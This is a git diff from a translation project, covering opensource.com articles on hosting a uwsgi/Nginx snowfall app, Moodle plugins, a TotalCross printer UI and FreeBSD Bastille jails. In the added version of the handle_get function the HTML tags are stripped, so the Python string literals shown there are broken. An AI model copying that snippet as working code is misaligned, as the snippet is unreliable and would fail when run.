"     conn.commit()  ## commit     conn.close()   ## cleanup -    +        start_line('200 OK', [('Content-Type', 'text/html')])     return [response_body.encode()] @@ -184,7 +171,7 @@ def add_record(reg, dev, amt, tstamp):     cursor = conn.cursor()                 ## get a cursor     sql = "INSERT INTO snowfall(region,device,amount,tstamp) values (?,?,?,?)" -    cursor.execute(sql, (reg, dev, amt, tstamp)) ## execute INSERT +    cursor.execute(sql, (reg, dev, amt, tstamp)) ## execute INSERT     conn.commit()  ## commit     conn.close()   ## cleanup @@ -203,16 +190,14 @@ def get_field_storage(env): A constant at the start of the source file defines the path to the database file: - ``` -`PATH_2_DB = '/home/marty/wsgi/snowfall.db'` +PATH_2_DB = '/home/marty/wsgi/snowfall.db' ``` Make sure to update the path for your Raspberry Pi. As noted earlier, uwsgi includes a lightweight web server that can host this request-handling application. To begin, install uwsgi with these two commands (`##` introduces my comments): - ``` % sudo apt-get install build-essential python-dev ## C header files, etc. % pip install uwsgi                               ## pip = Python package manager @@ -220,19 +205,17 @@ As noted earlier, uwsgi includes a lightweight web server that can host this req Next, launch a bare-bones snowfall application using uwsgi as the web server: - ``` -`% uwsgi --http 127.0.0.1:9999 --wsgi-file requestHandler.py  ` +% uwsgi --http 127.0.0.1:9999 --wsgi-file requestHandler.py ``` The flag `--http` runs uwsgi in web-server mode, with 9999 as the web server's listening port on localhost (127.0.0.1). By default, uwsgi dispatches HTTP requests to a programmer-defined function named `application`. For review, here's the full function from the top of the `requestHandler.py` code: - ``` def application(env, start_line):     if env['REQUEST_METHOD'] == 'POST':   ## add new DB record         return handle_post(env, start_line) -    elif env['REQUEST_METHOD'] == 'GET':  ## create HTML-fragment report +    elif env['REQUEST_METHOD'] == 'GET':  ## create HTML-fragment report         return handle_get(start_line)     else:                                 ## no other option for now         start_line('405 METHOD NOT ALLOWED', [('Content-Type', 'text/plain')]) @@ -242,25 +225,21 @@ def application(env, start_line): The snowfall application accepts only two request types: - * A POST request, if up to snuff, creates a new entry in the snowfall table. The request should include the ski area region, the device in the region, the snowfall amount in centimeters, and a Unix-style timestamp. A POST request is dispatched to the `handle_post` function (which I'll clarify shortly). - * A GET request returns an HTML fragment (an unordered list) with the records currently in the snowfall table. - - +* A POST request, if up to snuff, creates a new entry in the snowfall table. The request should include the ski area region, the device in the region, the snowfall amount in centimeters, and a Unix-style timestamp. A POST request is dispatched to the `handle_post` function (which I'll clarify shortly). +* A GET request returns an HTML fragment (an unordered list) with the records currently in the snowfall table. Requests with an HTTP verb other than POST and GET will generate an error message. You can use a utility such as curl to generate HTTP requests for testing. Here are three sample POST requests to start populating the database: - ``` -% curl -X POST -d "region=R1&device=D9&amount=1.42&tstamp=1604722088.0158753" localhost:9999/ -% curl -X POST -d "region=R7&device=D4&amount=2.11&tstamp=1604722296.8862638" localhost:9999/ -% curl -X POST -d "region=R5&device=D1&amount=1.12&tstamp=1604942236.1013834" localhost:9999/ +% curl -X POST -d "region=R1&device=D9&amount=1.42&tstamp=1604722088.0158753" localhost:9999/ +% curl -X POST -d "region=R7&device=D4&amount=2.11&tstamp=1604722296.8862638" localhost:9999/ +% curl -X POST -d "region=R5&device=D1&amount=1.12&tstamp=1604942236.1013834" localhost:9999/ ``` These commands add three records to the snowfall table. A subsequent GET request from curl or a browser displays an HTML fragment that lists the rows in the snowfall table. Here's the equivalent as non-HTML text: - ``` Snowfall report @@ -273,20 +252,18 @@ A professional report would convert the numeric timestamps into human-readable o The uwsgi utility accepts various flags, which can be given either through a configuration file or in the launch command. For example, here's a richer launch of uwsgi as a web server: - ``` -`% uwsgi --master --processes 2 --http 127.0.0.1:9999 --wsgi-file requestHandler.py` +% uwsgi --master --processes 2 --http 127.0.0.1:9999 --wsgi-file requestHandler.py ``` This version creates a master (supervisory) process and two worker processes, which can handle the HTTP requests concurrently. In the snowfall application, the functions `handle_post` and `handle_get` process POST and GET requests, respectively. Here's the `handle_post` function in full: - ``` def handle_post(env, start_line):         form = get_field_storage(env)  ## body of an HTTP POST request -    +        ## Extract fields from POST form.     region = form.getvalue('region')     device = form.getvalue('device') @@ -308,18 +285,17 @@ def handle_post(env, start_line):         return [response_body.encode()] ``` -The two arguments to the `handle_post` function (`env` and `start_line`) represent the system environment and a communications channel, respectively. The `start_line` channel sends the HTTP start line (in this case, either `400 Bad Request` or `201 OK`) and any HTTP headers (in this case, just `Content-Type: text/plain`) of an HTTP response. +The two arguments to the `handle_post` function (`env` and `start_line` ) represent the system environment and a communications channel, respectively. The `start_line` channel sends the HTTP start line (in this case, either `400 Bad Request` or `201 OK` ) and any HTTP headers (in this case, just `Content-Type: text/plain` ) of an HTTP response. The `handle_post` function tries to extract the relevant data from the HTTP POST request and, if it's successful, calls the function `add_record` to add another row to the snowfall table: - ``` def add_record(reg, dev, amt, tstamp):     conn = sqlite3.connect(PATH_2_DB)      ## connect to DB     cursor = conn.cursor()                 ## get a cursor     sql = "INSERT INTO snowfall(region,device,amount,tstamp) VALUES (?,?,?,?)" -    cursor.execute(sql, (reg, dev, amt, tstamp)) ## execute INSERT +    cursor.execute(sql, (reg, dev, amt, tstamp)) ## execute INSERT     conn.commit()  ## commit     conn.close()   ## cleanup @@ -329,26 +305,25 @@ SQLite automatically wraps single SQL statements (such as `INSERT` above) in a t The `handle_get` function also touches the database, but only to read the records in the snowfall table: - ``` def handle_get(start_line):     conn = sqlite3.connect(PATH_2_DB)        ## connect to DB     cursor = conn.cursor()                   ## get a cursor     cursor.execute("SELECT * FROM snowfall") -    response_body = "<h3>Snowfall report</h3><ul>" +    response_body = "

Snowfall report

    "     rows = cursor.fetchall()     for row in rows: -        response_body += "<li>" + str(row[0]) + '|'  ## primary key +        response_body += "
  • " + str(row[0]) + '|'  ## primary key         response_body += row[1] + '|'                ## region         response_body += row[2] + '|'                ## device         response_body += str(row[3]) + '|'           ## amount -        response_body += str(row[4]) + "</li>"       ## timestamp -    response_body += "</ul>" +        response_body += str(row[4]) + "
  • "       ## timestamp +    response_body += "
"     conn.commit()  ## commit     conn.close()   ## cleanup -    +        start_line('200 OK', [('Content-Type', 'text/html')])     return [response_body.encode()] ``` @@ -359,28 +334,25 @@ A user-friendly version of the snowfall application would support additional (an The Nginx web server can be installed on a Debian-based system with one command: - ``` -`% sudo apt-get install nginx` +% sudo apt-get install nginx ``` As a web server, Nginx provides the expected services, such as wire-level security, HTTPS, user authentication, load balancing, media streaming, response compression, file uploading, etc. The Nginx engine is high-performance and stable, and this server can support dynamic content through a variety of programming languages. Using uwsgi as a very lightweight web server is an attractive option but switching to Nginx is a move up to industrial-strength web hosting with high-volume capability. Nginx and uwsgi are both implemented in C. With Nginx in play, uwsgi takes on a communication protocol's restricted roles and an application server; it no longer acts as an HTTP web server. Here's the revised architecture: - ``` -          HTTP       uwsgi                   -requester<\---->Nginx<\----->app server<\--->requestHandler.py +HTTP       uwsgi                   +requester<---->Nginx<----->app server<--->requestHandler.py ``` As noted earlier, Nginx includes uwsgi support and now acts as a reverse-proxy server that forwards designated HTTP requests to the uwsgi application server, which in turn interacts with the Python script `requestHandler.py`. Responses from the Python script move in the reverse direction so that Nginx sends the HTTP response back to the requesting client. Two changes bring this new architecture to life. The first launches uwsgi as an application server: - ``` -`% uwsgi --socket 127.0.0.1:8001 --wsgi-file requestHandler.py` +% uwsgi --socket 127.0.0.1:8001 --wsgi-file requestHandler.py ``` Socket 8001 is the Nginx default for uwsgi communications. For robustness, you could use the full path to the Python script so that the command above does not have to be executed in the directory that houses the Python script. In a production environment, uwsgi would start and stop automatically; for now, however, the emphasis remains on how the architectural pieces fit together. @@ -389,7 +361,6 @@ The second change involves Nginx configuration, which can be tricky on Debian-ba However the configuration is distributed, the key section for having Nginx talk to the uwsgi application server begins with `http` and has one or more `server` subsections, which in turn have `location` subsections. Here's an example from the Nginx documentation: - ``` ... http { @@ -397,7 +368,7 @@ http {     ...     server { # simple reverse-proxy        listen       80; -       server_name  domain2.com [www.domain2.com][8]; +       server_name  domain2.com www.domain2.com;        access_log   logs/domain2.access.log  main;        # serve static files @@ -408,7 +379,7 @@ http {        # pass requests for dynamic content to rails/turbogears/zope, et al        location / { -         proxy_pass      ; +         proxy_pass      http://127.0.0.1:8080;        }      }      ... @@ -417,7 +388,6 @@ http { The `location` subsections are the ones of interest. For the snowfall application, here's the added `location` entry with its two configuration lines: - ``` ... server { @@ -441,9 +411,8 @@ server { To keep things simple for now, make `/snowfall` the only `location` in the configuration. With this configuration in place, Nginx listens on port 80 and dispatches HTTP requests ending with the `/snowfall` path to the uwsgi application server: - ``` -% curl -X POST -d "..." localhost/snowfall ## new POST +% curl -X POST -d "..." localhost/snowfall ## new POST % curl -X GET localhost/snowfall           ## new GET ``` @@ -453,16 +422,14 @@ If the configured location were simply `/` instead of `/snowfall`, then any HTTP Once you've changed the Nginx configuration with the added `location` subsection, you can start the web server: - ``` -`% sudo systemctl start nginx` +% sudo systemctl start nginx ``` There are other commands similar to `stop` and `restart` Nginx. In a production environment, you could automate these actions so that Nginx starts on a system boot and stops on a system shutdown. With uwsgi and Nginx both running, you can use a browser to test whether the architectural components cooperate as expected. For example, if you enter the URL `localhost/` in the browser's input window, then the Nginx welcome page should appear with (HTML) content similar to this: - ``` Welcome to nginx! ... @@ -471,7 +438,6 @@ Thank you for using nginx. By contrast, the URL `localhost/snowfall` should display the rows currently in the snowfall table: - ``` Snowfall report @@ -491,19 +457,18 @@ The software components in the web application work well together and require ve via: https://opensource.com/article/21/3/web-hosting-raspberry-pi 作者:[Marty Kalin][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/mkalindepauledu -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_web_internet_website.png [2]: https://www.raspberrypi.org/products/raspberry-pi-4-model-b/ [3]: https://opensource.com/article/21/2/sqlite3-cheat-sheet [4]: https://en.wikipedia.org/wiki/ACID [5]: https://uwsgi-docs.readthedocs.io/en/latest/ [6]: https://opensource.com/article/20/5/curl-cheat-sheet [7]: https://condor.depaul.edu/mkalin -[8]: http://www.domain2.com diff --git a/sources/tech/20210305 5 useful Moodle plugins to engage students.md b/sources/tech/20210305 5 useful Moodle plugins to engage students.md deleted file mode 100644 index 9e504c2cec..0000000000 --- a/sources/tech/20210305 5 useful Moodle plugins to engage students.md +++ /dev/null @@ -1,105 +0,0 @@ -[#]: subject: (5 useful Moodle plugins to engage students) -[#]: via: (https://opensource.com/article/21/3/moodle-plugins) -[#]: author: (Sergey Zarubin https://opensource.com/users/sergey-zarubin) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -5 useful Moodle plugins to engage students -====== -Use plugins to give your e-learning platform new capabilities that -motivate students. -![Person reading a book and digital copy][1] - -A good e-learning platform is important for education all over the world. Teachers need a way to hold classes, students need a friendly user interface to facilitate learning, and administrators need a way to monitor the educational system's effectiveness. - -Moodle is an open source software package that allows you to create a private website with interactive online courses. It's helping people gather virtually, teach and learn from one another, and stay organized while doing it. - -What makes Moodle unique is its high usability that can significantly increase with third-party solutions. If you visit the [Moodle plugins directory][2], you'll find over 1,700 plugins developed by the open source community. - -Picking the best plugins for your learners might be a challenge with so many choices. To help get you started, here my top five plugins to add to your e-learning platform. - -### Level up! - -![Level up Moodle plugin][3] - -Level up! Source:  - -Motivating and engaging learners is one of the most difficult tasks for educators. The [Level up plugin][4] allows you to gamify the learning experience by attributing points to students for completing actions and allowing them to show progress and level up. This encourages your students to compete in a healthy atmosphere and be better learners. - -What's more, you can take total control over the points your students earn, and they can unlock content when they reach a certain level. All of these features are available for free. If you are ready to pay, you can buy some extra functionality, such as individual rewards and team leaderboards. - -### BigBlueButton - -![BigBlueButton Moodle plugin][5] - -BigBlueButton. Source:  - -[BigBlueButton][6] is probably the most well-known Moodle plugin. This open source videoconferencing solution allows educators to engage remote students with live online classes and group collaboration activities. It offers important features such as real-time screen sharing, audio and video calls, chat, emojis, and breakout rooms. This plugin also allows you to record your live sessions. - -BigBlueButton enables you to create multiple activity links within any course, restrict your students from joining a session until you join, create a custom welcome message, manage your recordings, and more. All in all, BigBlueButton has everything you need to teach and participate in online classes. - -### ONLYOFFICE - -![ONLYOFFICE Moodle plugin][7] - -ONLYOFFICE. Source:  - -The [ONLYOFFICE plugin][8] allows learners and educators to create and edit text documents, spreadsheets, and presentations right in their browser. Without installing any additional apps, they can work with .docx, .xlsx, .pptx, .txt, and .csv files attached to their courses; open .pdf files for viewing; and apply advanced formatting and objects including autoshapes, tables, charts, equations, and more. - -Moreover, ONLYFFICE makes it possible to co-edit documents in real time, which means several users can simultaneously work on the same document. Different permission rights (full access, commenting, reviewing, read-only, and form filling) make it easier to manage access to your documents flexibly. - -### Global Chat - -![Global Chat Moodle plugin][9] - -Global Chat. Source:  - -The [Global Chat plugin][10] allows educators and learners to communicate in real time via Moodle. The plugin provides a list of all the users in your courses, and when you click a user's name, it opens a chat window at the bottom of the page so that you can communicate. - -With this easy-to-use tool, you don't need to open a separate window to start an online conversation. You can change between web pages, and your conversations will always remain open. - -### Custom certificate - -![Custom certificate Moodle plugin][11] - -Custom certificate. Source:  - -Another effective way to engage students is to offer certificates as a reward for course completion. The promise of a completion certificate helps keep students on track and committed to their training. - -The [Custom certificate plugin][12] allows you to generate fully customizable PDF certificates in your web browser. Importantly, the plugin is compatible with GDPR requirements, and the certificates have unique verification codes, so you can use them for authentic accreditation. - -### Oodles of Moodle plugins - -These are my top five favorite Moodle plugins. You can try them out by [signing up for an account][13] on Moodle.org, or you can host your own installation (or talk to your systems administrator or IT staff to set one up for you). - -If these plugins aren't the right options for your learning goals, take a look at the many other plugins available. If you find a good one, leave a comment and tell everyone about it! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/moodle-plugins - -作者:[Sergey Zarubin][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sergey-zarubin -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/read_book_guide_tutorial_teacher_student_apaper.png?itok=_GOufk6N (Person reading a book and digital copy) -[2]: https://moodle.org/plugins/ -[3]: https://opensource.com/sites/default/files/uploads/gamification.png (Level up Moodle plugin) -[4]: https://moodle.org/plugins/block_xp -[5]: https://opensource.com/sites/default/files/uploads/bigbluebutton.png (BigBlueButton Moodle plugin) -[6]: https://moodle.org/plugins/mod_bigbluebuttonbn -[7]: https://opensource.com/sites/default/files/uploads/onlyoffice_editors.png (ONLYOFFICE Moodle plugin) -[8]: https://github.com/logicexpertise/moodle-mod_onlyoffice -[9]: https://opensource.com/sites/default/files/uploads/global_chat.png (Global Chat Moodle plugin) -[10]: https://moodle.org/plugins/block_gchat -[11]: https://opensource.com/sites/default/files/uploads/certificate.png (Custom certificate Moodle plugin) -[12]: https://moodle.org/plugins/mod_customcert -[13]: https://moodle.com/getstarted/ diff --git a/sources/tech/20210305 Build a printer UI for Raspberry Pi with XML and Java.md b/sources/tech/20210305 Build a printer UI for Raspberry Pi with XML and Java.md deleted file mode 100644 index 7e9be8dfd0..0000000000 --- a/sources/tech/20210305 Build a printer UI for Raspberry Pi with XML and Java.md +++ /dev/null @@ -1,282 +0,0 @@ -[#]: subject: (Build a printer UI for Raspberry Pi with XML and Java) -[#]: via: (https://opensource.com/article/21/3/raspberry-pi-totalcross) -[#]: author: (Edson Holanda Teixeira Junior https://opensource.com/users/edsonhtj) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Build a printer UI for Raspberry Pi with XML and Java -====== -TotalCross makes it quick to build user interfaces for embedded -applications. -![Tips and gears turning][1] - -Creating a GUI from scratch is a very time consuming process, dealing with all the positions and alignments in hard code can be really tough for some programmers. In this article, I demonstrate how to speed up this process using XML. - -This project uses [TotalCross][2] as the target framework. TotalCross is an open source, cross-platform software development kit (SDK) developed to create GUIs for embedded devices faster. TotalCross provides Java's development benefits without needing to run Java on a device because it uses its own bytecode and virtual machine (TC bytecode and TCVM) for performance enhancement. - -I also use Knowcode-XML, an open source XML parser for the TotalCross framework, which converts XML files into TotalCross components. - -### Project requirements - -To reproduce this project, you need: - - * [KnowCode-XML][3] - * [VSCode][4] [or VSCodium][5] - * [An Android development environment][6] - * [TotalCross plugin for VSCode][7] - * Java 11 or greater for your development platform ([Linux][8], [Mac][9], or [Windows][10]) - * [Git][11] - - - -### Building the embedded application - -This application consists of an embedded GUI with basic print functionalities, such as scan, print, and copy. - -![printer init screen][12] - -(Edson Holanda Teixeira Jr, [CC BY-SA 4.0][13]) - -Several steps are required to create this GUI, including generating the GUI with Android-XML and then using the Knowcode-XML parser to run it on the TotalCross Framework. - -#### 1\. Generate the Android XML - -For creating the XML file, first create a simple Android screen, and then customize it. If you don't know how to write Android-XM, or you just want a headstart, you can download this application’s XML from this [GitHub project][14]. This project also contains the images you need to render the GUI. - -#### 2\. Adjust the XML - -After generating the XML files, you need to make some fine adjustments to make sure everything is aligned, with the right proportions, and has the correct path to the images. - -Add the XML layouts to the **Layouts** folder and all the assets to the **Drawable** folder. Then you can start to customize the XML. - -For example, if you want to change an XML object's background, change the `android:background` attribute: - - -``` -`android:background="@drawable/scan"` -``` - -You can change the object's position with `tools:layout_editor_absoluteX` and `tools:layout_editor_absoluteY`: - - -``` -tools:layout_editor_absoluteX="830dp" -tools:layout_editor_absoluteY="511dp" -``` - -Change the object's size with `android:layout_width` and `android:layout_height`: - - -``` -android:layout_width="70dp" -android:layout_height="70dp" -``` - -If you want to put text on an object, you can use `android:textSize`, `android:text`, `android:textStyle`, and `android:textColor`: - - -``` -android:textStyle="bold" -android:textColor="#000000" -android:textSize="20dp" -android:text="2:45PM" -``` - -Here is an example of a complete XML object: - - -``` -    <ImageButton -           android:id="@+id/ImageButton" -           android:layout_width="70dp" -           android:layout_height="70dp" -           tools:layout_editor_absoluteX="830dp" -           tools:layout_editor_absoluteY="511dp" -           android:background="@drawable/home_config" /> -``` - -#### 3\. Run the GUI on TotalCross - -After you make all the XML adjustments, it's time to run it on TotalCross. Create a new project on the TotalCross extension and add the **XML** and **Drawable** folders to the **Main** folder. If you're not sure how to create a TotalCross project, see our [get started guide][15]. - -After configuring the environment, use `totalcross.knowcode.parse.XmlContainerFactory` and `import totalcross.knowcode.parse.XmlContainerLayout` to use the XML GUI on the TotalCross framework. You can find more information about using KnowCode-XML on its [GitHub page][3]. - -#### 4\. Add transitions - -This project's smooth transition effect is created by the `SlidingNavigator` class, which uses TotalCross' `ControlAnimation` class to slide from one screen to the other. - -Call `SlidingNavigator` on the `XMLpresenter` class: - - -``` -`new SlidingNavigator(this).present(HomePresenter.class);` -``` - -Implement the `present` function on the `SlidingNavigator` class: - - -``` -public void present(Class<? extends XMLPresenter> presenterClass) -         throws [InstantiationException][16], [IllegalAccessException][17] { -      final XMLPresenter presenter = cache.containsKey(presenterClass) ? cache.get(presenterClass) -            : presenterClass.newInstance(); -      if (!cache.containsKey(presenterClass)) { -         cache.put(presenterClass, presenter); -      } - -      if (presenters.isEmpty()) { -         window.add(presenter.content, LEFT, TOP, FILL, FILL); -      } else { -         XMLPresenter previous = presenters.lastElement(); - -         window.add(presenter.content, AFTER, TOP, SCREENSIZE, SCREENSIZE, previous.content); -``` - -`PathAnimation` in animation control creates the sliding animation from one screen to another: - - -``` -         PathAnimation.create(previous.content, -Settings.screenWidth, 0, new ControlAnimation.AnimationFinished() { -            @Override -            public void onAnimationFinished(ControlAnimation anim) { -               window.remove(previous.content); -            } -         }, 1000).with(PathAnimation.create(presenter.content, 0, 0, new ControlAnimation.AnimationFinished() { -            @Override -            public void onAnimation Finished(Control Animation anim) { -               presenter.content.setRect(LEFT, TOP, FILL, FILL); -            } -         }, 1000)).start(); -      } -      presenter.setNavigator(this); -      presenters.push(presenter); -      presenter.bind2(); -      if (presenter.isFirstPresent) { -         presenter.onPresent(); -         presenter.isFirstPresent = false; -      } -``` - -#### 5\. Load spinners - -Another nice feature in the printer application is the loading screen animation that shows progress. It includes text and a spinning animation. - -![Loading Spinner][18] - -(Edson Holanda Teixeira Jr, [CC BY-SA 4.0][13]) - -Implement this feature by adding a timer and a timer listener to update the progress label, then call the function `spinner.start()`. All of the animations are auto-generated by TotalCross and KnowCode: - - -``` -public void startSpinner() { -        time = content.addTimer(500); -        content.addTimerListener((e) -> { -            try { -                progress(); // Updates the Label -            } catch (InstantiationException | IllegalAccessException e1) { -                // TODO Auto-generated catch block -                e1.printStackTrace(); -            } -        }); -        Spinner spinner = (Spinner) ((XmlContainerLayout) content).getControlByID("@+id/spinner"); -        spinner.start(); -    } -``` - -The spinner is instantiated as a reference to the `XmlContainerLayout` spinner described in the XML file: - - -``` -<ProgressBar -android:id="@+id/spinner" -android:layout_width="362dp" -android:layout_height="358dp" -tools:layout_editor_absoluteX="296dp" -tools:layout_editor_absoluteY="198dp" -   android:indeterminateTint="#2B05C7" -style="?android:attr/progressBarStyle" /> -``` - -#### 6\. Build the application - -It's time to build the application. You can see and change the target systems in `pom.xml`. Make sure the **Linux Arm** target is available. - -If you are using VSCode, press **F1** on the keyboard, select **TotalCross: Package** and wait for the package to finish. Then you can see the installation files in the **Target** folder. - -#### 7\. Deploy and run the application on Raspberry Pi - -To deploy the application on a [Raspberry Pi 4][19] with the SSH protocol, press **F1** on the keyboard. Select **TotalCross: Deploy&Run** and provide information about your SSH connection: User, IP, Password, and Application Path. - -![TotalCross: Deploy&Run][20] - -(Edson Holanda Teixeira Jr, [CC BY-SA 4.0][13]) - -![SSH user][21] - -(Edson Holanda Teixeira Jr, [CC BY-SA 4.0][13]) - -![IP address][22] - -(Edson Holanda Teixeira Jr, [CC BY-SA 4.0][13]) - -![Password][23] - -(Edson Holanda Teixeira Jr, [CC BY-SA 4.0][13]) - -![Path][24] - -(Edson Holanda Teixeira Jr, [CC BY-SA 4.0][13]) - -Here's what the application looks like running on the machine. - -### What's next? - -KnowCode makes it easier to create and manage your application screens using Java. Knowcode-XML translates your XML into a TotalCross GUI that in turn generates the binary to run on your Raspberry Pi. - -Combining KnowCode technology with TotalCross enables you to create embedded applications faster. Find out what else you can do by accessing our [embedded samples][25] on GitHub and editing your own application. - -If you have questions, need help, or just want to interact with other embedded GUI developers, feel free to join our [Telegram][26] group to discuss embedded applications on any framework. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/raspberry-pi-totalcross - -作者:[Edson Holanda Teixeira Junior][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/edsonhtj -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) -[2]: https://opensource.com/article/20/7/totalcross-cross-platform-development -[3]: https://github.com/TotalCross/knowcode-xml -[4]: https://code.visualstudio.com/ -[5]: https://opensource.com/article/20/6/open-source-alternatives-vs-code -[6]: https://developer.android.com/studio -[7]: https://marketplace.visualstudio.com/items?itemName=totalcross.vscode-totalcross -[8]: https://opensource.com/article/19/11/install-java-linux -[9]: https://opensource.com/article/20/7/install-java-mac -[10]: http://adoptopenjdk.net -[11]: https://opensource.com/life/16/7/stumbling-git -[12]: https://opensource.com/sites/default/files/uploads/01_printergui.png (printer init screen) -[13]: https://creativecommons.org/licenses/by-sa/4.0/ -[14]: https://github.com/TotalCross/embedded-samples/tree/main/printer-application/src/main/resources/layout -[15]: https://totalcross.com/get-started/?utm_source=opensource&utm_medium=article&utm_campaign=printer -[16]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+instantiationexception -[17]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+illegalaccessexception -[18]: https://opensource.com/sites/default/files/uploads/03progressspinner.png (Loading Spinner) -[19]: https://www.raspberrypi.org/products/raspberry-pi-4-model-b/ -[20]: https://opensource.com/sites/default/files/uploads/04_totalcross-deployrun.png (TotalCross: Deploy&Run) -[21]: https://opensource.com/sites/default/files/uploads/05_ssh.png (SSH user) -[22]: https://opensource.com/sites/default/files/uploads/06_ip.png (IP address) -[23]: https://opensource.com/sites/default/files/uploads/07_password.png (Password) -[24]: https://opensource.com/sites/default/files/uploads/08_path.png (Path) -[25]: https://github.com/TotalCross/embedded-samples -[26]: https://t.me/totalcrosscommunity diff --git a/sources/tech/20210306 Manage containers on Raspberry Pi with this open source tool.md b/sources/tech/20210306 Manage containers on Raspberry Pi with this open source tool.md deleted file mode 100644 index 8b31abd533..0000000000 --- a/sources/tech/20210306 Manage containers on Raspberry Pi with this open source tool.md +++ /dev/null @@ -1,284 +0,0 @@ -[#]: subject: (Manage containers on Raspberry Pi with this open source tool) -[#]: via: (https://opensource.com/article/21/3/bastille-raspberry-pi) -[#]: author: (Peter Czanik https://opensource.com/users/czanik) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Manage containers on Raspberry Pi with this open source tool -====== -Create and maintain your containers (aka jails) at scale on FreeBSD with -Bastille. -![Parts, modules, containers for software][1] - -Containers became widely popular because of Docker on Linux, but there are [much earlier implementations][2], including the [jail][3] system on FreeBSD. A container is called a "jail" in FreeBSD terminology. The jail system was first released in FreeBSD 4.0 way back in 2000, and it has continuously improved since. While 20 years ago it was used mostly on large servers, now you can run it on your Raspberry Pi. - -### Jails vs. containers on Linux - -Container development took a very different path on FreeBSD than on Linux. On FreeBSD, containerization was developed as a strict security feature in the late '90s for virtual hosting and its flexibility grew over the years. Limiting a container's computing resources was not part of the original concept; this was added later. - -When I started to use jails in production in 2001, it was quite painful. I had to prepare my own scripts to automate working with them. - -On the Linux side, there were quite a few attempts at containerization, including [lxc][4]. - -Docker brought popularity, accessibility, and ease of use to containers. There are now many other tools on Linux (for example, I prefer to use [Podman on my laptop][5]). And Kubernetes allows you to work with containers at really large scale. - -[Bastille][6] is one of several tools available in [FreeBSD ports][7] to manage jails. It is comparable to Docker or Podman and allows you to create and maintain jails at scale instead of manually. It has a template system to automatically install and configure applications within jails, similar to Dockerfile. It also supports advanced FreeBSD functionality, like ZFS or VNET. - -### Install FreeBSD on Raspberry Pi - -Installing [BSD on Raspberry Pi][8] is pretty similar to installing Linux. You download a compressed image from the FreeBSD website and `dd` it to an SD card. You can also use a dedicated image writer tool; there are many available for all operating systems (OS). Download and write an image from the command line with: - - -``` -wget -xzcat FreeBSD-13.0-BETA1-arm64-aarch64-RPI.img.xz | dd of=/dev/XXX -``` - -That writes the latest beta image available for 64-bit Raspberry Pi boards; check the [download page][9] if you use another Raspberry Pi board or want to use another build. Replace `XXX` with your SD card's device name, which depends on your OS and how the card connects to your machine. I purposefully did not use a device name so that you won't overwrite anything if you just copy and paste the instructions mindlessly. I did that and was lucky to have a recent backup of my laptop, but it was _not_ a pleasant experience. - -Once you've written the SD card, put it in your Raspberry Pi and boot it. The first boot takes a bit longer than usual; I suspect the partition sizes are being adjusted to the SD card's size. After a while, you will receive the familiar login prompt on a good old text-based screen. The username is **root**, and the password is the same as the user name. The SSH server is enabled by default, but don't worry; the root user cannot log in. It is still a good idea to change the password to something else. The network is automatically configured by DHCP for the Ethernet connection (I did not test WiFi). - -The easiest way to configure Bastille on the system is to SSH into Raspberry Pi and copy and paste the commands and configuration in this article. You have a couple of options, depending on how much you care about industry best practices or are willing to treat it as a test system. You can either enable root login in the SSHD configuration (scary, but this is what I did at first) or create a regular user that can log in remotely. In the latter case, make sure that the user is part of the "wheel" group so that it can use `su -` to become root and use Bastille: - - -``` -root@generic:~ # adduser -Username: czanik -Full name: Peter Czanik -Uid (Leave empty for default): -Login group [czanik]: -Login group is czanik. Invite czanik into other groups? []: wheel -Login class [default]: -Shell (sh csh tcsh bash rbash git-shell nologin) [sh]: bash -Home directory [/home/czanik]: -Home directory permissions (Leave empty for default): -Use password-based authentication? [yes]: -Use an empty password? (yes/no) [no]: -Use a random password? (yes/no) [no]: -Enter password: -Enter password again: -Lock out the account after creation? [no]: -Username   : czanik -Password   : ***** -Full Name  : Peter Czanik -Uid        : 1002 -Class      : -Groups     : czanik wheel -Home       : /home/czanik -Home Mode  : -Shell      : /usr/local/bin/bash -Locked     : no -OK? (yes/no): yes -adduser: INFO: Successfully added (czanik) to the user database. -Add another user? (yes/no): no -Goodbye! -``` - -The fifth line adds the user to the wheel group. Note that you might have a different list of shells on your system, and Bash is not part of the base system. Install Bash before adding the user: - - -``` -`pkg install bash` -``` - -PKG needs to bootstrap itself on the first run, so invoking the command takes a bit longer this time. - -### Get started with Bastille - -Managing jails with the tools in the FreeBSD base system is possible—but not really convenient. Using a tool like Bastille can simplify it considerably. It is not part of the base system, so install it: - - -``` -`pkg install bastille` -``` - -As you can see from the command's output, Bastille has no external dependencies. It is a shell script that relies on commands in the FreeBSD base system (with an exception I'll note later when explaining templates). - -If you want to start your containers on boot, enable Bastille: - - -``` -`sysrc 